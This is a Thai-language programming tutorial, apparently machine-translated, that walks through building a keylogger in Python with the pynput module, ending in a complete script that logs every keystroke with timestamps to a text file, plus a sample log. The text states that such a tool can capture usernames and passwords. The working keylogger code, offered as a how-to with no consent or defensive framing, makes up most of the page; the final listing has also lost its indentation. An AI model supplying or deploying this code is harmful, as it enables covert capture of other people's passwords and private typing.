Computer >> คอมพิวเตอร์ >  >> การเขียนโปรแกรม >> Python

ออกแบบ Keylogger ใน Python


เราจะพัฒนาคีย์ล็อกเกอร์โดยใช้ python แต่ก่อนหน้านั้นคีย์ล็อกเกอร์คืออะไร? Keylogger เป็นโปรแกรมที่เราตรวจสอบการกดแป้นพิมพ์ การกดแป้นพิมพ์เหล่านี้จะถูกเก็บไว้ในไฟล์บันทึก เราสามารถบันทึกข้อมูลที่ละเอียดอ่อน เช่น ชื่อผู้ใช้และรหัสผ่านได้โดยใช้การกดแป้นพิมพ์นี้

ในการสร้างคีย์ล็อกเกอร์ เราจะใช้โมดูล pynput เนื่องจากไม่ใช่ไลบรารีมาตรฐานของ python เราอาจจำเป็นต้องติดตั้ง

การติดตั้งโมดูล pyxhook -

ฉันจะใช้ pip เพื่อติดตั้ง pynput -

pip install pynput
Requirement already satisfied: pynput in c:\python\python361\lib\site-packages (1.4)
Requirement already satisfied: six in c:\python\python361\lib\site-packages (from pynput) (1.10.0)

หากต้องการตรวจสอบว่าการติดตั้งของเราสำเร็จ ให้ลองนำเข้าโมดูลใน python shell ของคุณ

>>> import pynput
>>>

เริ่มสร้างคีย์ล็อกเกอร์

เมื่อติดตั้งไลบรารีที่จำเป็นแล้ว ให้นำเข้าแพ็คเกจและวิธีการที่จำเป็น ในการตรวจสอบแป้นพิมพ์ เราจะใช้วิธีการคีย์และฟังของโมดูล pynput.keyboard นอกจากนี้เรายังจะใช้โมดูลการบันทึกเพื่อบันทึกการกดแป้นของเราในไฟล์

from pynput.keyboard import Key, Listener
import logging

ต่อไป เราจะกำหนดเส้นทางที่เราจะเก็บไฟล์บันทึก ในโหมดใดที่จะเก็บบันทึกและรูปแบบ

log_dir = r"C:/users/username/desktop/"
logging.basicConfig(filename = (log_dir + "keyLog.txt"), level=logging.DEBUG, format='%(asctime)s: %(message)s')

จากนั้นเราเรียกฟังก์ชัน on_press() ซึ่งสร้างคำจำกัดความสำหรับการกดแป้นและใช้คีย์เป็นพารามิเตอร์

def on_press(key):
   logging.info(str(key))

สิ่งสุดท้ายที่เราจะทำคือตั้งค่าอินสแตนซ์ของ Listener และกำหนดเมธอด on_press จากนั้นรวมอินสแตนซ์เข้ากับเธรดหลัก

with Listener(on_press=on_press) as listener:
listener.join()

ในการรวมขั้นตอนดังกล่าวข้างต้น เราอยู่ในขั้นตอนการสร้างโปรแกรมขั้นสุดท้าย -

from pynput.keyboard import Key, Listener
import logging
log_dir = r"C:/users/rajesh/desktop/"
logging.basicConfig(filename = (log_dir + "keyLog.txt"), level=logging.DEBUG, format='%(asctime)s: %(message)s')
def on_press(key):
logging.info(str(key))
with Listener(on_press=on_press) as listener:
listener.join()

ขณะที่สคริปต์ของฉันทำงาน ฉันพยายามเปิดเบราว์เซอร์และพิมพ์ "สวัสดีชาวโลก วิกิพีเดีย" มาดูกันว่าเกิดอะไรขึ้นกับไฟล์บันทึกของเรา -

ฉันเห็นว่าไฟล์ “keyLog.txt” ถูกสร้างขึ้นในคอมพิวเตอร์เดสก์ท็อปของฉัน และหากฉันพยายามจะดูเนื้อหานั้น ฉันจะได้รับ -

2019-01-18 17:06:21,854: Key.cmd
2019-01-18 17:06:22,022: 'd'
2019-01-18 17:06:39,304: 'h'
2019-01-18 17:06:39,435: 'e'
2019-01-18 17:06:39,564: 'l'
2019-01-18 17:06:39,754: 'l'
2019-01-18 17:06:39,943: 'o'
2019-01-18 17:06:40,245: Key.space
2019-01-18 17:06:40,450: 'w'
2019-01-18 17:06:40,536: 'o'
2019-01-18 17:06:40,694: 'r'
2019-01-18 17:06:40,818: 'l'
2019-01-18 17:06:40,943: 'd'
2019-01-18 17:06:43,527: ','
2019-01-18 17:06:44,947: Key.space
2019-01-18 17:06:45,091: 'p'
2019-01-18 17:06:45,342: 'y'
2019-01-18 17:06:45,468: 't'
2019-01-18 17:06:45,580: 'h'
2019-01-18 17:06:45,674: 'o'
2019-01-18 17:06:45,808: 'n'
2019-01-18 17:06:45,872: Key.space
2019-01-18 17:06:48,692: Key.backspace
2019-01-18 17:06:48,891: Key.backspace
2019-01-18 17:06:49,079: Key.backspace
2019-01-18 17:06:49,223: Key.backspace
2019-01-18 17:06:49,405: Key.backspace
2019-01-18 17:06:49,584: Key.backspace
2019-01-18 17:06:49,816: Key.backspace
2019-01-18 17:06:50,004: 'w'
2019-01-18 17:06:50,162: 'i'
2019-01-18 17:06:50,392: 'k'
2019-01-18 17:06:50,572: 'i'
2019-01-18 17:06:51,395: 'p'
2019-01-18 17:06:51,525: 'e'
2019-01-18 17:06:51,741: 'd'
2019-01-18 17:06:51,838: 'i'
2019-01-18 17:06:52,104: 'a'

ดังนั้นเราจึงสามารถเห็นสิ่งที่ฉันพยายามพิมพ์ในเบราว์เซอร์ของฉัน การกดแป้นพิมพ์ทุกครั้งจะถูกเก็บไว้ในไฟล์นี้ ดังนั้นเราจึงสร้างคีย์ล็อกเกอร์แบบง่ายๆ ใน python ที่นี่